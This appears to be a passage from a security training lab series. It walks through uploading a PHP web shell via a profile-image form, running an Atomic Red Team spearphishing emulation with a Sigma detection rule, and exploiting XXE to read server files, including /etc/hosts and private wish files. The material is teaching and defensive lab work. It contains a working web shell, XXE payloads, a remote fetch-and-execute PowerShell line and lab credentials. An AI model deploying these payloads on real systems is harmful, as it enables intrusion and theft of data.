• XSS: Uploading an HTML file that contains an XSS code which will steal a cookie and send it back to the attacker's server.

These can happen if a site doesn't properly secure its file upload functionality.

Why Unrestricted File Uploads Are Dangerous

Unrestricted file uploads can be particularly dangerous because they allow an attacker to upload any type of file. If the file's contents aren't properly validated to ensure only specific formats like PNG or JPG are accepted, an attacker could upload a malicious script, such as a PHP file or an executable, that the server might process and run. This can lead to code execution on the server, allowing attackers to take over the system.

Examples of abuse through unrestricted file uploads include:

• Uploading a script that the server executes, leading to RCE.
  
• Uploading a crafted image file that triggers a vulnerability when processed by the server.
  
• Uploading a web shell and browsing to it directly using a browser.
  

Usage of Weak Credentials

One of the easiest ways for attackers to break into systems is through weak or default credentials. This can be an open door for attackers to gain unauthorised access. Default credentials are often found in systems where administrators fail to change initial login details provided during setup. For attackers, trying a few common usernames and passwords can lead to easy access.

Below are some examples of weak/default credentials that attackers might try:

Attackers can use tools or try these common credentials manually, which is often all it takes to break into the system.

What is Remote Code Execution (RCE)

Remote code execution (RCE) happens when an attacker finds a way to run their own code on a system. This is a highly dangerous vulnerability because it can allow the attacker to take control of the system, exfiltrate sensitive data, or compromise other connected systems.

What Is a Web Shell

A web shell is a script that attackers upload to a vulnerable server, giving them remote control over it. Once a web shell is in place, attackers can run commands, manipulate files, and essentially use the compromised server as their own. They can even use it to launch attacks on other systems.

For example, attackers could use a web shell to:

• Execute commands on the server
  
• Move laterally within the network
• Download sensitive data or pivot to other services

A web shell typically gives the attacker a web-based interface to run commands. Still, in some cases, attackers may use a reverse shell to establish a direct connection back to their system, allowing them to control the compromised machine remotely. Once an attacker has this level of access, they might attempt privilege escalation to gain even more control, such as achieving root access or moving deeper into the network.

Okay, now that we're familiar with a remote code execution vulnerability and how it works, let's take a look at how we would exploit it!

Practice Makes Perfect

To understand how a file upload vulnerability can result in an RCE, the best approach is to get some hands-on experience with it. A handy (and ethical) way to do this is to find and download a reputable open-source web application which has this vulnerability built into it. Many open-source projects exist in places like GitHub, which can be run in your own environment to experiment and practice. In today's task, we will demonstrate achieving RCE via unrestricted file upload within an open-source railway management system that has this vulnerability built into it. 

Exploiting RCE via File Upload

Now we're going to go through how this vulnerability can be exploited. For now, you can just read along, but an opportunity to put this knowledge into practice is coming up. Once an RCE vulnerability has been identified that can be exploited via file upload, we now need to create a malicious file that will allow remote code execution when uploaded.

Below is an example PHP file which could be uploaded to exploit this vulnerability. Using your favourite text editor, copy and paste the below code and save it as shell.php.

<html>
<body>
<form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
<input type="text" name="command" autofocus id="command" size="50">
<input type="submit" value="Execute">
</form>
<pre>
<?php
    if(isset($_GET['command'])) 
    {
        system($_GET['command'] . ' 2>&1'); 
    }
?>
</pre>
</body>
</html>

The above script, when accessed, displays an input field. Whatever is entered in this input field is then run against the underlying operating system using the system() PHP function, and the output is displayed to the user. This is the perfect file to upload to the vulnerable rail system reservation application. The vulnerability is surrounding the upload of a new profile image. So, to exploit it, we navigate to the profile picture page:

Instead of a new profile picture, we can upload our malicious PHP script and update our profile:

In the case of this application, the RCE is possible through unrestricted file upload. Once this "profile picture" is uploaded and updated, it is stored in the /admin/assets/img/profile/ directory. The file can then be accessed directly via http://<ip-address-or-localhost>/<projectname>/admin/assets/img/profile/shell.php. When this is accessed, we can then see the malicious code in action:

Now, we can run commands directly against the operating system using this bar, and the output will be displayed. For example, running the command pwd now returns the following:

Making the Most of It

Once the vulnerability has been exploited and you now have access to the operating system via a web shell, there are many next steps you could take depending on a) what your goal is and b) what misconfigurations are present on the system, which will determine exactly what we can do. Here are some examples of commands you could run once you have gained access and why you might run them (if the system is running on a Linux OS like our example target system):

These are just some commands that can be run following a successful RCE exploit. It's very open-ended, and what you can do will rely on your abilities to inspect an environment and vulnerabilities in the system itself.

Practical

Your task today is two-fold. First, you must access Kibana on MACHINE_IP:5601 to investigate the attack and answer the blue questions below. Then, you will proceed to Frosty Pines Resort's website at http://frostypines.thm and recreate the attack to answer the red questions and inform the developers what element of the website was vulnerable.

Please note, to access http://frostypines.thm, you will need to reference it within your hosts file. On the AttackBox, this can be done by executing the following command in a terminal: echo "MACHINE_IP frostypines.thm" >> /etc/hosts

If you do not see an IP address (i.e. 10.10.x.x) and only MACHINE IP, ensure that you have started the target machine by pressing on the green "Start Machine" button further up the task, within the heading "Connecting to the Machine".

To review the logs of the attack on Frosty Pines Resorts, make sure you select the "frostypines-resorts" collection within ELK. Such as below:

The date and time that you will need to use when reviewing logs will be between 11:30 and 12:00 on October 3rd 2024.

Remember, to access the Frosty Pines Resorts website (http://frostypines.thm), you will need to reference it in your hosts file. On the AttackBox, this can be done by executing the following command in a terminal: echo "MACHINE_IP frostypines.thm" >> /etc/hosts

SOC-mas is approaching! And the town of Wareville started preparations for the grand event.

Glitch, a quiet, talented security SOC-mas engineer, had a hunch that these year's celebrations would be different. With looming threats, he decided to revamp the town's security defences. Glitch began to fortify the town's security defences quietly and meticulously. He started by implementing a protective firewall, patching vulnerabilities, and accessing endpoints to patch for security vulnerabilities. As he worked tirelessly, he left "breadcrumbs," small traces of his activity.

Unaware of Glitch's good intentions, the SOC team spotted anomalies: Logs showing admin access, escalation of privileges, patched systems behaving differently, and security tools triggering alerts. The SOC team misinterpreted the system modifications as a sign of an insider threat or rogue attacker and decided to launch an investigation using the Atomic Red Team framework.

Learning Objectives

• Learn how to identify malicious techniques using the MITRE ATT&CK framework.
• Learn about how to use Atomic Red Team tests to conduct attack simulations.
• Understand how to create alerting and detection rules from the attack tests.

Connecting to the Machine

Before moving forward, review the questions in the connection card below:

Click on the green Start Machine button below to start the virtual machine and wait 1-2 minutes for the system to boot completely in a split-screen view.

If the virtual machine isn't visible, use the blue Show Split View button at the top of the page.

Additionally, if you wish to connect to the machine via RDP, use the credentials below:

Username	Administrator
Password	Emulation101!
IP	MACHINE_IP

The VM has Atomic Red Team and Sysmon installed. This will allow us to emulate an attack using TTPs described in the MITRE ATT&CK framework.

Detection Gaps

While it might be the utopian dream of every blue teamer, we will rarely be able to detect every attack or step in an attack kill chain. This is a reality that all blue teamers face: there are gaps in their detection. But worry not! These gaps do not have to be the size of black holes; there are things we can do to help make these gaps smaller.

Detection gaps are usually for one of two main reasons:

• Security is a cat-and-mouse game. As we detect more, the threat actors and red teamers will find new sneaky ways to thwart our detection. We then need to study these novel techniques and update our signature and alert rules to detect these new techniques.
• The line between anomalous and expected behaviour is often very fine and sometimes even has significant overlap. For example, let's say we are a company based in the US. We expect to see almost all of our logins come from IP addresses in the US. One day, we get a login event from an IP in the EU, which would be an anomaly. However, it could also be our CEO travelling for business. This is an example where normal and malicious behaviour intertwine, making it hard to create accurate detection rules that would not have too much noise.

Blue teams constantly refine and improve their detection rules to close the gaps they experience due to the two reasons mentioned above. Let's take a look at how this can be done!

Cyber Attacks and the Kill Chain

Before diving into creating new detection rules, we first have to discuss some key topics. The first topic to discuss is the Cyber Kill chain. All cyber attacks follow a fairly standard process, which is explained quite well by the Unified Cyber Kill chain:

As a blue teamer, it would be our dream to prevent all attacks at the start of the kill chain. So even just when threat actors start their reconnaissance, we already stop them dead in their tracks. But, as discussed before, this is not possible. The goal then shifts slightly. If we are unable to fully detect and prevent a threat actor at any one phase in the kill chain, the goal becomes to perform detections across the entire kill chain in such a way that even if there are detection gaps in a single phase, the gap is covered in a later phase. The goal is, therefore, to ensure we can detect the threat actor before the very last phase of goal execution.

MITRE ATT&CK

A popular framework for understanding the different techniques and tactics that threat actors perform through the kill chain is the MITRE ATT&CK framework. The framework is a collection of tactics, techniques, and procedures that have been seen to be implemented by real threat actors. The framework provides a navigator tool where these TTPs can be investigated:

However, the framework primarily discusses these TTPs in a theoretical manner. Even if we know we have a gap for a specific TTP, we don't really know how to test the gap or close it down. This is where the Atomics come in!

Atomic Red

The Atomic Red Team library is a collection of red team test cases that are mapped to the MITRE ATT&CK framework. The library consists of simple test cases that can be executed by any blue team to test for detection gaps and help close them down. The library also supports automation, where the techniques can be automatically executed. However, it is also possible to execute them manually.

Dropping the Atomic

McSkidy has a vague idea of what happened to the "compromised machine." It seems someone tried to use the Atomic Red Team to emulate an attack on one of our systems without permission. The perpetrator also did not clean up the test artefacts. Let's have a look at what happened.

Running an Atomic

McSkidy suspects that the supposed attacker used the MITRE ATT&CK technique T1566.001 Spearphishing with an attachment. Let's recreate the attack emulation performed by the supposed attacker and then look for the artefacts created.

Open up a PowerShell prompt as administrator and follow along with us. Let's start by having a quick peek at the help page. Enter the command Get-Help Invoke-Atomictest. You should see the output below:

PS C:\Users\Administrator> Get-Help Invoke-Atomictest
NAME
    Invoke-AtomicTest

SYNTAX
    Invoke-AtomicTest [-AtomicTechnique] <string[]> [-ShowDetails] [-ShowDetailsBrief] [-TestNumbers <string[]>] 
    [-TestNames <string[]>] [-TestGuids <string[]>] [-PathToAtomicsFolder <string>] [-CheckPrereqs]
    [-PromptForInputArgs] [-GetPrereqs] [-Cleanup] [-NoExecutionLog] [-ExecutionLogPath <string>] [-Force] [-InputArgs<hashtable>] [-TimeoutSeconds <int>] [-Session <PSSession[]>] [-Interactive] [-KeepStdOutStdErrFiles]
    [-LoggingModule <string>] [-WhatIf] [-Confirm]  [<CommonParameters>]

ALIASES
    None

REMARKS
    None

The help above only shows what parameters are available without any explanation. Even though most parameter names are self-explanatory, let us have a quick overview of the parameters we will use in this walkthrough:

Our First Command
We can build our first command now that we know which parameters are available. We would like to know more about what exactly happens when we test the Technique T1566.001. To get this information, we must include the name of the technique we want information about and then add the flag -ShowDetails to our command. Let's have a look at the command we constructed: Invoke-AtomicTest T1566.001 -ShowDetails. This command displays the details of all tests included in the T1566.001 Atomic.

 PS C:\Users\Administrator> Invoke-AtomicTest T1566.001 -ShowDetails
PathToAtomicsFolder = C:\Tools\AtomicRedTeam\atomics

[********BEGIN TEST*******]
Technique: Phishing: Spearphishing Attachment T1566.001
Atomic Test Name: Download Macro-Enabled Phishing Attachment
Atomic Test Number: 1
Atomic Test GUID: 114ccff9-ae6d-4547-9ead-4cd69f687306
Description: This atomic test downloads a macro enabled document from the Atomic Red Team GitHub repository, simulating
an end user clicking a phishing link to download the file. The file "PhishingAttachment.xlsm" is downloaded to the %temp
% directory.

Attack Commands:
Executor: powershell
ElevationRequired: False
Command:
$url = 'http://localhost/PhishingAttachment.xlsm'
Invoke-WebRequest -Uri $url -OutFile $env:TEMP\PhishingAttachment.xlsm

Cleanup Commands:
Command:
Remove-Item $env:TEMP\PhishingAttachment.xlsm -ErrorAction Ignore
[!!!!!!!!END TEST!!!!!!!]


[********BEGIN TEST*******]
Technique: Phishing: Spearphishing Attachment T1566.001
Atomic Test Name: Word spawned a command shell and used an IP address in the command line
Atomic Test Number: 2
Atomic Test GUID: cbb6799a-425c-4f83-9194-5447a909d67f
Description: Word spawning a command prompt then running a command with an IP address in the command line is an indiciat
or of malicious activity. Upon execution, CMD will be lauchned and ping 8.8.8.8

Attack Commands:
Executor: powershell
ElevationRequired: False
Command:
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
IEX (iwr "https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1" -UseBasicParsing)
$macrocode = "   Open `"#{jse_path}`" For Output As #1`n   Write #1, `"WScript.Quit`"`n   Close #1`n   Shell`$ `"ping 8.8.8.8`"`n"
Invoke-MalDoc -macroCode $macrocode -officeProduct "#{ms_product}"
Command (with inputs):
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
IEX (iwr "https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1" -UseBasicParsing)
$macrocode = "   Open `"C:\Users\Public\art.jse`" For Output As #1`n   Write #1, `"WScript.Quit`"`n   Close #1`n   Shell`$ `"ping 8.8.8.8`"`n"
Invoke-MalDoc -macroCode $macrocode -officeProduct "Word"

Cleanup Commands:
Command:
Remove-Item #{jse_path} -ErrorAction Ignore
Command (with inputs):
Remove-Item C:\Users\Public\art.jse -ErrorAction Ignore

Dependencies:
Description: Microsoft Word must be installed
Check Prereq Command:
try {
  New-Object -COMObject "#{ms_product}.Application" | Out-Null
  $process = "#{ms_product}"; if ( $process -eq "Word") {$process = "winword"}
  Stop-Process -Name $process
  exit 0
} catch { exit 1 }
Check Prereq Command (with inputs):
try {
  New-Object -COMObject "Word.Application" | Out-Null
  $process = "Word"; if ( $process -eq "Word") {$process = "winword"}
  Stop-Process -Name $process
  exit 0
} catch { exit 1 }
Get Prereq Command:
Write-Host "You will need to install Microsoft #{ms_product} manually to meet this requirement"
Get Prereq Command (with inputs):
Write-Host "You will need to install Microsoft Word manually to meet this requirement"
[!!!!!!!!END TEST!!!!!!!]
        

The output above is clearly split up into multiple parts, each matching a test. Let's examine what type of information is provided in a test. We will use the test we want to run as an example.

Phishing: Spearphishing Attachment T1566.001 Emulated

Let's continue and run the first test of T1566.001. Before running the emulation, we should ensure that all required resources are in place to conduct it successfully. To verify this, we can add the flag -Checkprereq to our command. The command should look something like this: Invoke-AtomicTest T1566.001 -TestNumbers 1 -CheckPrereq.

This command will use the data included in the "dependencies" part of the test details to verify if all required resources are present. Looking at the test 1 dependencies of the T1566.001 Atomic, no additional resources are required. Run the same command for test 2, and it will state that Microsoft Word needs to be installed, as shown below:

PS C:\Users\Administrator> Invoke-AtomicTest T1566.001 -TestNumbers 2 -CheckPrereq
PathToAtomicsFolder = C:\Tools\AtomicRedTeam\atomics
          
CheckPrereq's for: T1566.001-2 Word spawned a command shell and used an IP address in the command line
Prerequisites not met: T1566.001-2 Word spawned a command shell and used an IP address in the command line
[*] Microsoft Word must be installed
          
Try installing prereq's with the -GetPrereqs switch
      

Now that we have verified the dependencies, let us continue with the emulation. Execute the following command to start the emulation: Invoke-AtomicTest T1566.001 -TestNumbers 1 and you should get the following output:

PS C:\Users\Administrator> Invoke-AtomicTest T1566.001 -TestNumbers 1
PathToAtomicsFolder = C:\Tools\AtomicRedTeam\atomics
          
Executing test: T1566.001-1 Download Macro-Enabled Phishing Attachment
Done executing test: T1566.001-1 Download Macro-Enabled Phishing Attachment
      

Based on the output, we can determine that the test was successfully executed. We can now analyse the logs in theWindows Event Viewer to find Indicators of Attack and Compromise.

Detecting the Atomic

Now that we have executed the T1566.001 Atomic, we can look for log entries that point us to this emulated attack. For this purpose, we will use the Windows Event Logs. This machine comes with Sysmon installed. System Monitor (Sysmon) provides us with detailed information about process creation, network connections, and changes to file creation time.

To make it easier for us to pick up the events created for this emulation, we will first start with cleaning up files from the previous test by running the command Invoke-AtomicTest T1566.001 -TestNumbers 1 -cleanup.

PS C:\Users\Administrator> Invoke-AtomicTest T1566.001 -TestNumbers 1 -cleanup

Now, we will clear the Sysmon event log:

• Open up Event Viewer by clicking the icon in the taskbar, or searching for it in the Start Menu.
• Navigate to Applications and Services => Microsoft => Windows => Sysmon => Operational on the left-hand side of the screen.
• Right-click Operational on the left-hand side of the screen and click Clear Log. Click Clear when the popup shows.

Now that we have cleaned up the files and the sysmon logs, let us run the emulation again by issuing the command Invoke-AtomicTest T1566.001 -TestNumbers 1.

PS C:\Users\Administrator> Invoke-AtomicTest T1566.001 -TestNumbers 1
PathToAtomicsFolder = C:\Tools\AtomicRedTeam\atomics
          
Executing test: T1566.001-1 Download Macro-Enabled Phishing Attachment
Done executing test: T1566.001-1 Download Macro-Enabled Phishing Attachment
        

Next, go to the Event Viewer and right-click on the Operational log on the left-hand side of the screen and then click on Refresh. There should be new events related to the emulated attack. Now sort the table on the Date and Time column to order the events chronologically (oldest first). The first two events of the list are tests that Atomic executes for every emulation. We are interested in 2 events that detail the attack:

• First, a process was created for PowerShell to execute the following command: "powershell.exe" & {$url = 'http://localhost/PhishingAttachment.xlsm' Invoke-WebRequest -Uri $url -OutFile $env:TEMP\PhishingAttachment.xlsm}.
• Then, a file was created with the name PhishingAttachment.xlsm.

Click on each event to see the details. When you select an event, you should see a detailed overview of all the data collected for that event. Click on the Details tab to show all the EventData in a readable format. Let us take a look at the details of these events below. The data highlighted is valuable for incident response and creating alerting rules.

Navigate to the directory C:\Users\Administrator\AppData\Local\Temp\, and open the file PhishingAttachment.txt. The flag included is the answer to question 1. Make sure to answer the question now, as the cleanup command will delete this file.

Let's clean up the artefacts from our spearphishing emulation. Enter the command Invoke-AtomicTest T1566.001-1 -cleanup.

Now that we know which artefacts were created during this spearphishing emulation, we can use them to create custom alerting rules. In the next section, we will explore this topic further.

Alerting on the Atomic

In the previous paragraph, we found multiple indicators of compromise through the Sysmon event log. We can use this information to create detection rules to include in our EDR, SIEM, IDS, etc. These tools offer functionalities that allow us to import custom detection rules. There are several detection rule formats, including Yara, Sigma, Snort, and more. Let's look at how we can implement the artefacts related to T1566.001 to create a custom Sigma rule.

Two events contained possible indicators of compromise. Let's focus on the event that contained the Invoke-WebRequest command line:

"powershell.exe" & {$url = 'http://localhost/PhishingAttachment.xlsm' Invoke-WebRequest -Uri $url -OutFile $env:TEMP\PhishingAttachment.xlsm}"

We can use multiple parts of this artefact to include in our custom Sigma rule.

• Invoke-WebRequest: It is not common for this command to run from a script behind the scenes.

• $url = 'http://localhost/PhishingAttachment.xlsm': Attackers often use a specific malicious domain to host their payloads. Including the malicious URL in the Sigma rule could help us detect that specific URL.

• PhishingAttachment.xlsm: This is the malicious payload downloaded and saved on our system. We can include its name in the Sigma rule as well.

Combining all these pieces of information in a Sigma rule would look something like this:

title: Detect PowerShell Invoke-WebRequest and File Creation of PhishingAttachment.xlsm
  id: 1
  description: Detects the usage of Invoke-WebRequest to download PhishingAttachment.xlsm and the creation of the file PhishingAttachment.xlsm.
 status: experimental
  author: TryHackMe
  logsource:
    category: process_creation
    product: windows
    service: sysmon
  detection:
   selection_invoke_webrequest:
      EventID: 1
      CommandLine|contains:
        - 'Invoke-WebRequest'
        - 'http://localhost/PhishingAttachment.xlsm'
    
    selection_file_creation:
      EventID: 11  # Sysmon Event ID for File Creation
      TargetFilename|endswith: '\PhishingAttachment.xlsm'
      
    condition: selection_invoke_webrequest or selection_file_creation
  falsepositives:
    - Legitimate administration activity may use Invoke-WebRequest, and legitimate Excel files may be created with similar names.
  level: high
  tags:
    - attack.t1071.001   # Web Service - Application Layer Protocol
    - attack.t1059.001   # PowerShell
    - attack.t1105       # Ingress Tool Transfer
    - attack.t1566.001   # Spearphishing Attachment
        

The detection part is where the effective detection is happening. We can see clearly the artefacts that we discovered during the emulation test. We can then import this rule into the main tools we use for alerts, such as the EDR, SIEM, XDR, and many more.

Now that Glitch has shown us his intentions, let's continue with his work and run an emulation for ransomware.

Challenge

As Glitch continues to prepare for SOC-mas and fortifies Wareville's security, he decides to conduct an attack simulation that would mimic a ransomware attack across the environment. He is unsure of the correct detection metrics to implement for this test and asks you for help. Your task is to identify the correct atomic test to run that will take advantage of a command and scripting interpreter, conduct the test, and extract valuable artefacts that would be used to craft a detection rule.

The days in Wareville flew by, and Software's projects were nearly complete, just in time for Christmas. One evening, after wrapping up work, Software was strolling through the town when he came across a young boy looking dejected. Curious, Software asked, "What would you like for Christmas?" The boy replied with a sigh, "I wish for a teddy bear, but I know that my family can't afford one."

This brief conversation sparked an idea in Software's mind—what if there was a platform where everyone in town could share their Christmas wishes, and the Mayor's office could help make them come true? Excited by the potential, Software introduced the idea to Mayor Malware, who embraced it immediately. The Mayor encouraged the team to build the platform for the people of Wareville.

Through the developers' dedication and effort, the platform was soon ready and became an instant hit. The townspeople loved it! However, in their rush to meet the holiday deadline, the team had overlooked something critical—thorough security testing. Even Mayor Malware had chipped in to help develop a feature in the final hours. Now, it's up to you to ensure the application is secure and free of vulnerabilities. Can you guarantee the platform runs safely for the people of Wareville?

Learning Objectives

• Understand the basic concepts related to XML
• Explore XML External Entity (XXE) and its components
• Learn how to exploit the vulnerability
• Understand remediation measures

Important Concepts

Extensible Markup Language (XML)

XML is a commonly used method to transport and store data in a structured format that humans and machines can easily understand. Consider a scenario where two computers need to communicate and share data. Both devices need to agree on a common format for exchanging information. This agreement (format) is known as XML. You can think of XML as a digital filing cabinet. Just as a filing cabinet has folders with labelled documents inside, XML uses tags to label and organise information. These tags are like folders that define the type of data stored. This is what an XML looks like, a simple piece of text information organised in a structured manner: 

<people>
   <name>Glitch</name>
   <address>Wareville</address>
   <email>glitch@wareville.com</email>
   <phone>111000</phone>
</people>

In this case, the tags <people>, <name>, <address>, etc are like folders in a filing cabinet, but now they store data about Glitch. The content inside the tags, like "Glitch," "Wareville," and "123-4567" represents the actual data being stored. Like before, the key benefit of XML is that it is easily shareable and customisable, allowing you to create your own tags. 

Document Type Definition (DTD)

Now that the two computers have agreed to share data in a common format, what about the structure of the format? Here is when the DTD comes into play. A DTD is a set of rules that defines the structure of an XML document. Just like a database scheme, it acts like a blueprint, telling you what elements (tags) and attributes are allowed in the XML file. Think of it as a guideline that ensures the XML document follows a specific structure.

For example, if we want to ensure that an XML document about people will always include a name, address, email, and phone number, we would define those rules through a DTD as shown below:

<!DOCTYPE people [
   <!ELEMENT people(name, address, email, phone)>
   <!ELEMENT name (#PCDATA)>
   <!ELEMENT address (#PCDATA)>
   <!ELEMENT email (#PCDATA)>
   <!ELEMENT phone (#PCDATA)>
]>

In the above DTD, <!ELEMENT>  defines the elements (tags) that are allowed, like name, address, email, and phone, whereas #PCDATA stands for parsed people data, meaning it will consist of just plain text.

Entities

So far, both computers have agreed on the format, the structure of data, and the type of data they will share. Entities in XML are placeholders that allow the insertion of large chunks of data or referencing internal or external files. They assist in making the XML file easy to manage, especially when the same data is repeated multiple times. Entities can be defined internally within the XML document or externally, referencing data from an outside source. 

For example, an external entity references data from an external file or resource. In the following code, the entity &ext; could refer to an external file located at "http://tryhackme.com/robots.txt", which would be loaded into the XML, if allowed by the system:

<!DOCTYPE people [
   <!ENTITY ext SYSTEM "http://tryhackme.com/robots.txt">
]>
<people>
   <name>Glitch</name>
   <address>&ext;</address>
   <email>glitch@wareville.com</email>
   <phone>111000</phone>
</people>

We are specifically discussing external entities because it is one of the main reasons that XXE is introduced if it is not properly managed.

XML External Entity (XXE)

After understanding XML and how entities work, we can now explore the XXE vulnerability. XXE is an attack that takes advantage of how XML parsers handle external entities. When a web application processes an XML file that contains an external entity, the parser attempts to load or execute whatever resource the entity points to. If necessary sanitisation is not in place, the attacker may point the entity to any malicious source/code causing the undesired behaviour of the web app.

For example, if a vulnerable XML parser processes this external entity definition:

<!DOCTYPE people[
   <!ENTITY thmFile SYSTEM "file:///etc/passwd">
]>
<people>
   <name>Glitch</name>
   <address>&thmFile;</address>
   <email>glitch@wareville.com</email>
   <phone>111000</phone>
</people>

Here, the entity &thmFile; refers to the sensitive file /etc/passwd on a system. When the XML is processed, the parser will try to load and display the contents of that file, exposing sensitive information to the attacker.

In the upcoming tasks, we will examine how XXE works and how to exploit it.

Connecting to the Machine

Click on the green Start Machine button below to start the virtual machine. While the virtual machine starts, click on the Start AttackBox button at the top of the page and browse Wareville's WishVille application at http://MACHINE_IP. Please wait 1-2 minutes after the system boots completely to let the auto scripts run successfully.

Practical 

Now that you understand the basic concepts related to XML and XXE, we will analyse an application that allows users to view and add products to their carts and perform the checkout activity. You can access the Wareville application hosted on http://MACHINE_IP. This application allows users to request their Christmas wishes.

Flow of the Application

As a penetration tester, it is important to first analyse the flow of the application. First, the user will browse through the products and add items of interest to their wishlist at http://MACHINE_IP/product.php. Click on the Add to Wishlist under Wareville's Jolly Cap, as shown below:

After adding products to the wishlist, click the Cart button or visit http://MACHINE_IP/cart.php to see the products added to the cart. On the Cart page, click the Proceed to Checkout button to buy the items as shown below:

On the checkout page, the user will be prompted to enter his name and address as shown below:

Enter any name of your choice and address, and click on Complete Checkout to place the wish. Once you complete the wish, you will be shown the message "Wish successful. Your wish has been saved as Wish #21", as shown below:

Wish #21 indicates the wishes placed by a user on the website. Once you click on Wish #21, you will see a forbidden page because the details are only accessible to admins. But can we try to bypass this and access other people's wishes? This is what we will try to perform in this task.

Intercepting the Request

Before discussing exploiting XXE on the web, let's learn how to intercept the request. First, we need to configure the environment so that, as a pentester, all web traffic from our browser is routed through Burp Suite. This allows us to see and manipulate the requests as we browse. 

We will use Burp Suite, a powerful web vulnerability scanner, to intercept and modify requests for this exploitation. You can access Burp Suite in the AttackBox. On the desktop of the AttackBox, you will see a Burp Suite icon as shown below:

Once you click the icon, Burp Suite will open with an introductory screen. You will see a message like "Welcome to Burp Suite". Click on the Next button. 

On the next screen, you will have the option to Start Burp. Click on the Start Burp button to start the tool.

Once Burp Suite has started, you will see its main interface with different tabs, such as Proxy, Intruder, Repeater and others.

Inside Burp Suite, click the Settings tab at the top right. You will see Burp's browser option available under the Tools section. Enable Allow Burp's browser to run without a sandbox option and click on the close icon on the top right corner of the Settings tab as shown below:

After allowing the browser to run without a sandbox, we would now be able to start the browser with pre-configured Burp Suite's proxy. Navigate to the Open browser option located at the Proxy -> Intercept section of Burp.  Open the browser by clicking the Open browser as shown below and browse the URL http://MACHINE_IP, so that all requests are intercepted: 

Once you browse the URL, all the requests are intercepted and can be seen under the Proxy->HTTP history tab.

What is Happening in the Backend?

Now, when you visit the URL, http://MACHINE_IP/product.php, and click Add to Wishlist, an AJAX call is made to wishlist.php with the following XML as input. 

<wishlist>
  <user_id>1</user_id>
     <item>
       <product_id>1</product_id>
     </item>
</wishlist>

        

In the above XML, <product_id> tag contains the ID of the product, which is 1 in this case. Now, let's review the Add to Wishlist request logged in Burp Suite's HTTP History option under the proxy tab. As discussed above, the request contains XML being forwarded as a POST request, as shown below:

This wishlist.php accepts the request and parses the request using the following code:

 <?php
..
...
libxml_disable_entity_loader(false);
$wishlist = simplexml_load_string($xml_data, "SimpleXMLElement", LIBXML_NOENT);

...
..
echo "Item added to your wishlist successfully.";
?>

        

Preparing the Payload

When a user sends specially crafted XML data to the application, the line libxml_disable_entity_loader(false) allows the XML parser to load external entities. This means the XML input can include external file references or requests to remote servers. When the XML is processed by simplexml_load_string with the LIBXML_NOENT option, the web app resolves external entities, allowing attackers access to sensitive files or allowing them to make unintended requests from the server.

What if we update the XML request to include references for external entities? We will use the following XML instead of the above XML:

 <!--?xml version="1.0" ?-->
<!DOCTYPE foo [<!ENTITY payload SYSTEM "/etc/hosts"> ]>
<wishlist>
  <user_id>1</user_id>
     <item>
       <product_id>&payload;</product_id>
     </item>
</wishlist>

        

When we send this updated XML payload, the first two lines introduce an external entity called payload. The line <!ENTITY payload SYSTEM "/etc/hosts"> tells the XML parser to replace the &payload; reference with the contents of the file /etc/hosts on the server. When the XML is processed, instead of a normal product_id, the application will try to load and include the contents of the file specified in the entity (/etc/hosts).

Exploitation

Now, let's perform the exploitation by repeating the request we captured earlier. The Burp Suite tool has a feature known as Repeater that allows you to send multiple HTTP requests. We will use this feature to duplicate our HTTP POST request and send it multiple times to exploit the vulnerability. Right-click on the wishlist.php POST request and click on Send to Repeater.

Now, switch to the Repeater tab, where you'll find the POST request that needs to be modified. We will update the XML payload with the new data as shown below and then send the modified request:

Place the mouse cursor inside the request in the Repeater tab in Burp Suite and press Ctrl+V  or paste the payload in the above-highlighted area.

When we clicked Send, the server processed the malicious XML payload, which included the external entity reference to /etc/hosts. As a result, the wishlist.php responded with the contents of the /etc/hosts file, leading to an XXE vulnerability.

Time for Some Action

Now that you've identified a vulnerability in the application, it's time to see it in action! McSkidy Software has tasked us with finding loopholes, and we've successfully uncovered one in the wishlist.php endpoint. But our work doesn't end there—let's take it a step further and assess the potential impact this vulnerability could have on the application.

Earlier, we discovered a page accessible only by administrators, which seems like an exciting target. What if we could use the vulnerability we've found to access sensitive information, like the wishes placed by the townspeople?

Now that our objective is clear, let's leverage the vulnerability we discovered to read the contents of each wishes page and demonstrate the full extent of this flaw to help McSkidy secure the platform. To get started, let's recall the page that is only accessible by admins - /wishes/wish_1.txt. Using this path, we just need to guess the potential absolute path of the file. Typically, web applications are hosted on /var/www/html. With that in mind, let's build our new payload to read the wishes while leveraging the vulnerability.

Note: Not all web applications use the path /var/www/html, but web servers typically use it.

 <!--?xml version="1.0" ?-->
<!DOCTYPE foo [<!ENTITY payload SYSTEM "/var/www/html/wishes/wish_1.txt"> ]>
<wishlist>
	<user_id>1</user_id>
	<item>
	       <product_id>&payload;</product_id>
	</item>
</wishlist>


        

Surprisingly, we got lucky that our assumption worked. The next thing to do is see whether we can view more wishes using our discovery. To do this, let's try replacing the wish_1.txt with wish_2.txt.

As a result, we were able to view the next wish. You may observe that we just incremented the number by one. Given this, you may continue checking the other wishes and see all the wishes stored in the application.

After iterating through the wishes, we have proved the potential impact of the vulnerability, and anyone who leverages this could read the wishes submitted by the townspeople of Wareville.

Conclusion

It was confirmed that the application was vulnerable, and the developers were not at fault since they only wanted to give the townspeople something before Christmas. However, it became evident that bypassing security testing led to an application that did not securely handle incoming requests.

As soon as the vulnerability was discovered, McSkidy promptly coordinated with the developers to implement the necessary mitigations. The following proactive approach helped to address the potential risks against XXE attacks:

• Disable External Entity Loading: The primary fix is to disable external entity loading in your XML parser. In PHP, for example, you can prevent XXE by setting libxml_disable_entity_loader(true) before processing the XML.
• Validate and Sanitise User Input: Always validate and sanitise the XML input received from users. This ensures that only expected data is processed, reducing the risk of malicious content being included in the request. For example, remove suspicious keywords like /etc/host, /etc/passwd, etc, from the request.

After discovering the vulnerability, McSkidy immediately remembered that a CHANGELOG file exists within the web application, stored at the following endpoint: http://MACHINE_IP/CHANGELOG. After checking, it can be seen that someone pushed the vulnerable code within the application after Software's team.

With this discovery, McSkidy still couldn't confirm whether the Mayor intentionally made the application vulnerable. However, the Mayor had already become suspicious, and McSkidy began to formulate theories about his possible involvement.

Mayor Malware was scheming, quite full of delight,
To ruin SOC-mas and frighten SOC teams.
